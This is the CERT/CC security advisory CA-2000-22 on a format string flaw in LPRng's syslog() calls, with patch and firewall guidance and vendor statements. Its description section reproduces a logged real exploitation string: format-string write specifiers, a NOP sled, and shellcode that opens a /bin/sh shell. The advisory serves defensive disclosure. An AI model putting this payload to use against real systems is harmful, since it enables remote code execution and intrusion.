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CERT Advisory CA-2000-22 Input Validation Problems in LPRng

   Original release date: December 12, 2000
   Last updated: --
   Source: CERT/CC

   A complete revision history is at the end of this file.

Systems Affected

     * Systems running unpatched LPRng software

Overview

   A popular replacement software package to the BSD lpd printing service
   called LPRng contains at least one software defect, known as a "format
   string vulnerability,"[1] which may allow remote users to execute
   arbitrary code on vulnerable systems.

I. Description

   LPRng, now being packaged in several open-source operating system
   distributions, has a missing format string argument in at least two
   calls to the syslog() function.

   Missing format strings in function calls allow user-supplied arguments
   to be passed to a susceptible *snprintf() function call. Remote users
   with access to the printer port (port 515/tcp) may be able to pass
   format-string parameters that can overwrite arbitrary addresses in the
   printing service's address space. Such overwriting can cause
   segmentation violations leading to denial of printing services or to
   the execution of arbitrary code injected through other means into the
   memory segments of the printer service.

   Sample syslog entries from successful exploitation of this
   vulnerability have been reported, as follows:

Nov 26 10:01:00 foo SERVER[12345]: Dispatch_input: bad request line
'BB{E8}{F3}{FF}{BF}{E9}{F3}{FF}{BF}{EA}{F3}{FF}{BF}{EB}{F3}{FF}{BF}
XXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301 $nsecurity%302$n%.192u%303$n
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}
1{DB}1{C9}1{C0}{B0}F{CD}{80}{89}{E5}1{D2}{B2}f{89}{D0}1{C9}{89}{CB}C{89}
]{F8}C{89}]{F4}K{89}M{FC}{8D}M{F4}{CD}{80}1{C9}{89}E{F4}Cf{89}]{EC}f{C7}
E{EE}{F}'{89}M{F0}{8D}E{EC}{89}E{F8}{C6}E{FC}{10}{89}{D0}{8D}
M{F4}{CD}{80}{89}{D0}CC{CD}{80}{89}{D0}C{CD}{80}{89}{C3}1{C9}{B2}
?{89}{D0}{CD}{80}{89}{D0}A{CD}{80}{EB}{18}^{89}u{8}1{C0}{88}F{7}{89}
E{C}{B0}{B}{89}{F3}{8D}M{8}{8D}U{C}{CD}{80}{E8}{E3}{FF}{FF}{FF}/bin/sh{A}'

   This vulnerability has been assigned the identifier CAN-2000-0917 by
   the Common Vulnerabilities and Exposures (CVE) group:

          http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0917

   The CERT/CC has received reports of extensive probing to port 515/tcp.
   In addition, we have received some reports of systems compromised
   using this vulnerability. Tools exploiting this vulnerability have
   been posted to public forums.

II. Impact

   A remote user may be able to execute arbitrary code with elevated
   privileges.

   In addition, the printing service may be disrupted or disabled
   entirely.

III. Solution

Apply a patch from your vendor

   Upgrade to a non-vulnerable version of LPRng (3.6.25), as described in
   the vendor sections below. Alternately, you can obtain the version of
   LPRng which fixes the missing format string at:

          ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz

Disallow access to printer service ports (typically 515/tcp) using firewall
or packet-filtering technologies

   Blocking access to the vulnerable service will limit your exposure to
   attacks from outside your network perimeter. However, the
   vulnerability would still allow local users to gain privileges they
   normally shouldn't have; in addition, blocking port 515/tcp at a
   network perimeter would still allow any remote user inside the
   perimeter to exploit the vulnerability.

Appendix A. Vendor Information

Apple

   Apple has conducted an investigation and determined that Mac OS X
   Public Beta and Mac OS X Server do not use LPRng and are therefore not
   vulnerable to this exploitation.

Caldera OpenLinux

   See CSSA-2000-033.0 "format bug in LPRng" at:

          http://www.calderasystems.com/support/security/advisories/CSSA-
          2000-033.0.txt 

Compaq Computer Corporation

   Compaq Tru64 UNIX S/W is not vulnerable.

FreeBSD

   FreeBSD does not include LPRng in the base system. Older versions of
   FreeBSD included a vulnerable version of LPRng in the Ports Collection
   but this was corrected almost 2 months ago, prior to the release of
   FreeBSD 4.2. See FreeBSD Security Advisory 00:56
   (ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lp
   rng.asc) for more information.

Hewlett-Packard Company

   This does not apply to HP; HP does not ship LPRng on HP-UX.

IBM

   IBM's AIX operating system is not vulnerable to this security exploit.

Microsoft Corporation

   Microsoft doesn't use LPRng in any of its products, so no Microsoft
   products are affected by the vulnerability.

NetBSD

   NetBSD does not include LPRng in the base system; however we do have a
   third-party package of LPRng-3.6.8 which is vulnerable. There's work
   underway to upgrade it to a non-vulnerable version.

OpenBSD

   OpenBSD does not ship lprng.

RedHat

   LPRng Version 3.6.24 and earlier is vulnerable.

   See RHSA-2000:065-04 at:

          http://www.redhat.com/support/errata/RHSA-2000-065-06.html

SGI

   IRIX does not contain LPRng support.

SuSE

   SuSE is not vulnerable. Please see additional comments at:

          http://lists.suse.com/archives/suse-security/2000-Sep/0259.html

References

    1. VU#382365: LPRng can pass user-supplied input as a format string
       parameter to syslog() calls, CERT/CC, 10/06/2000,
       https://www.kb.cert.org/vuls/id/382365
   _________________________________________________________________

   The CERT Coordination Center thanks Chris Evans for his initial report
   on the vulnerability described in this advisory.
   _________________________________________________________________

   Author: This document was written by Jeffrey S Havrilla. Feedback on
   this advisory is appreciated.
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/advisories/CA-2000-22.html
   ______________________________________________________________________

CERT/CC Contact Information

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          Phone: +1 412-268-7090 (24-hour hotline)
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   Revision History
  Dec 12, 2000: Initial Release


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